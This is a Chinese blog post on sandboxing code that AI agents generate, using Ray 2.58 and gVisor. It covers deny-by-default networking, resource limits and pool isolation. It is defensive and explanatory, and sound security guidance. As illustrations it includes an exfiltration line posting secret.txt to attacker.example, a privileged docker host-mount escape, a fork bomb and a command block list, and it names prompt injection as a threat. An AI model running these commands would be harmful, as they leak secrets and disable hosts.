Ray 2.58沙箱:Agent代码别再直接跑容器
让 Coding Agent 生成一段 Python,然后直接:
docker run ...
看起来已经隔离。
真正危险的是,很多所谓“容器沙箱”同时暴露了:
Docker Socket
Host Mount
过宽Network
长期Credential
共享Kernel
这时候容器只是部署单位,不是安全边界。
Google Cloud 和 Anyscale 8 月 25 日公开了 Ray Sandboxing 的新实现。从 Ray 2.58 开始,Sandbox 可以直接作为 Ray Runtime 里的资源创建,初始实现使用 gVisor:Agent 生成的代码在 gVisor 提供的用户态 Linux 系统调用边界里运行,不需要把 Host Docker Socket 暴露给 Sandbox。
一个最小例子:
import ray
from ray.experimental import sandbox
ray.init()
sb = sandbox.create(
cpu=1.0,
memory="512Mi",
image="python:3.12-slim"
)
result = ray.get(
sb.exec.remote(
"python -c 'import sys; print(sys.version)'"
)
)
print(result.stdout)
这比“Agent拿Docker权限自己起容器”安全得多。
为什么Docker Socket是红线
如果 Sandbox 里能访问:
/var/run/docker.sock
代码就可能:
docker run \
-v /:/host \
--privileged \
...
然后容器隔离几乎失去意义。
所以 Agent Sandbox 第一条规则:
绝不暴露Host Container Runtime Socket
gVisor 的价值就在于 OCI 兼容,但不要求 Agent 拿到 Host Docker Daemon。
gVisor到底隔离了什么
普通容器:
应用
↓
Linux syscall
↓
Host Kernel
gVisor:
应用
↓
gVisor userspace kernel
↓
受限Host syscall
↓
Host Kernel
它不是 VM,但比普通共享 Kernel Container 提供更强边界。
Agent场景特别需要这种边界
因为执行代码是模型生成的,代码本质上应该默认:
Untrusted
哪怕 Prompt 来自内部员工。
输入还可能包含:
恶意网页
恶意Repo
恶意Issue
Indirect Prompt Injection
所以“这是公司自己的Agent”不能作为信任代码的理由。
Ray把Sandbox做成Actor有一个工程优势
Sandbox 不再是外围独立系统。
它可以被调度器像普通 Ray Resource 一样管理:
Placement
CPU
Memory
Lifecycle
Recovery
Scale
一个 Agent Rollout 需要 100 个 Sandbox 时,不必自己再维护另一套 Scheduler。
创建时必须给资源上限
至少:
sb = sandbox.create(
cpu=1.0,
memory="512Mi",
image="python:3.12-slim"
)
生产还要加:
PID
Disk
Execution Time
Network
一个Sandbox Policy
sandbox:
cpu: 1
memory: 512Mi
disk: 1Gi
timeout: 120s
network:
mode: deny-by-default
filesystem:
root: readonly
workspace: tmpfs
credentials:
allowed: none
默认:
No Network
No Credential
Read-only Root
Agent 需要什么再逐步开。
Network一定要默认关闭
模型生成代码最危险的动作之一:
requests.post(
"https://attacker.example",
data=open("secret.txt").read()
)
如果 Sandbox 根本不能出网,这条攻击链直接断。
真正需要联网的任务:
下载依赖
访问批准API
通过 Egress Proxy 白名单。
安装依赖也不要直接开放整个互联网
可以使用:
Internal PyPI Mirror
Internal npm Registry
Sandbox 只能访问公司代理源。
这样供应链审计、缓存和版本固定都容易很多。
文件上传和下载要有Artifact边界
Ray Sandbox API 支持:
read
write
upload
download
不要允许 Agent 随意下载整个 Workspace。
最好按 Artifact Manifest:
public record SandboxArtifact(
String artifactId,
String sandboxId,
String path,
String sha256,
long sizeBytes,
DataClass dataClass) {
}
输出先扫描,再允许离开 Sandbox。
什么文件要扫描
至少:
Secret
PII
Malware
Executable
Archive
Coding Agent 生成 patch.diff 风险低。
生成 credentials.zip 应直接拦。
Sandbox也要短生命周期
不要给 Agent 一个永久开发机。
更好:
Run创建
→ Sandbox创建
→ 执行
→ Artifact提取
→ Sandbox销毁
需要 Resume:
用Snapshot或Artifact恢复
而不是保留一台长期机器。
为什么Sandbox Pool又有价值
如果每个小步骤都重新创建,启动成本会高。
Google 给出的示例也展示了本地 Sandbox Pool:
from ray.experimental.sandbox.runtime import SandboxRuntime
self.sandboxes = [
self.runtime.create(
image=image,
memory="512Mi"
)
for _ in range(size)
]
适合大量短任务。
但 Pool 复用必须清理状态。
Pool最大的风险:跨任务残留
Task A 写:
/tmp/customer.csv
Task B 复用同一个 Sandbox。
如果没清:
跨任务数据泄漏
所以 Pool 复用必须执行:
Workspace Reset
Credential Reset
Process Cleanup
Network State Reset
最好不同租户不共享 Pool。
Multi-tenant Pool我会直接禁止
Tenant A
Tenant B
不要共用同一 Sandbox 实例。
最低边界:
Sandbox Instance
=
Single Tenant
高风险场景:
Single Run
gVisor的低启动开销为什么重要
Google 公开说明 gVisor Sandbox 可做到亚秒级启动和较低的每 Sandbox 内存开销。
这会改变架构选择。
如果创建一次要 30 秒,团队会倾向尽量复用;如果足够快,就可以做到:
每个Task单独Sandbox
安全和清理复杂度都会下降。
Agent Tool最好不要直接暴露Shell
差:
run_shell(command)
模型可以执行任意命令。
更好:
run_tests()
format_code()
build_project()
apply_patch()
先提供高层 Capability。
只有 Coding Agent 特定阶段才开放通用 Shell。
如果必须Shell,就加Command Policy
例如禁止:
mount
nsenter
ptrace
sudo
docker
kubectl
ssh
但黑名单不是完整安全边界。
真正安全仍依赖 Sandbox。
Command Policy 只是第二层。
超时必须在外部控制
不要相信 Agent 自己会停止死循环。
while true; do :; done
必须由 Runtime 在 120 秒后 Kill。
还要限制Process数量
Fork Bomb:
:(){ :|:& };:
如果 PID 不限制,Sandbox 内也可能把 Node 资源拖死。
所以:
pids.max
必须配置。
日志输出也要限
恶意代码:
while True:
print("A" * 1000000)
会打爆日志、网络和内存。
需要:
stdout max bytes
例如:
10MB
超过截断。
一个完整Execution Contract
execution:
image: python:3.12-slim
cpu: 1
memory: 512Mi
pids: 128
timeout: 120s
network:
default: deny
stdout:
max_bytes: 10Mi
artifacts:
max_total: 50Mi
Sandbox结果也要有Outcome
public enum SandboxOutcome {
SUCCESS,
EXIT_NON_ZERO,
TIMEOUT,
OOM,
POLICY_DENIED,
KILLED,
INFRA_FAILURE
}
不要全部映射成:
tool failed
Agent 需要知道是代码错还是资源不够。
OOM后不要自动无限加Memory
策略:
第一次OOM
→允许1次扩容
第二次
→停止
并设置 hard maximum。
Sandbox镜像必须固定Digest
不要在可复现环境只写:
python:3.12-slim
更好:
python@sha256:...
否则镜像内容变化,同一个 Run 无法复现。
记录Environment Manifest
{
"image_digest": "sha256:...",
"runtime": "gvisor",
"cpu": 1,
"memory": "512Mi",
"network_policy": "deny-v4",
"artifact_policy": "v7"
}
事故取证时很重要。
什么时候gVisor还不够
如果任务运行:
未知Native Binary
高风险恶意样本
内核研究
更强隔离可以考虑:
MicroVM
Kata
独立VM
安全边界应该和风险匹配。
Ray 2.58 把 Sandbox 变成原生可调度资源,这件事对大规模 Agent/RL 系统很实用。
但真正值得带走的不是某一行 sandbox.create()。
而是一个更基础的原则:
模型生成的代码默认就是不可信代码。
所以执行系统不要把 Docker Container 自动等同于安全 Sandbox。
真正需要检查的是:
Kernel Boundary
Docker Socket
Network
Credential
Resource Limit
Artifact
Lifetime
Tenant Isolation
这些边界都明确以后,Agent 才适合真正获得代码执行能力。
更多企业级 AI 应用、Agent、RAG 与模型工程化内容,我会继续整理在 智元界:
https://www.zyentor.com/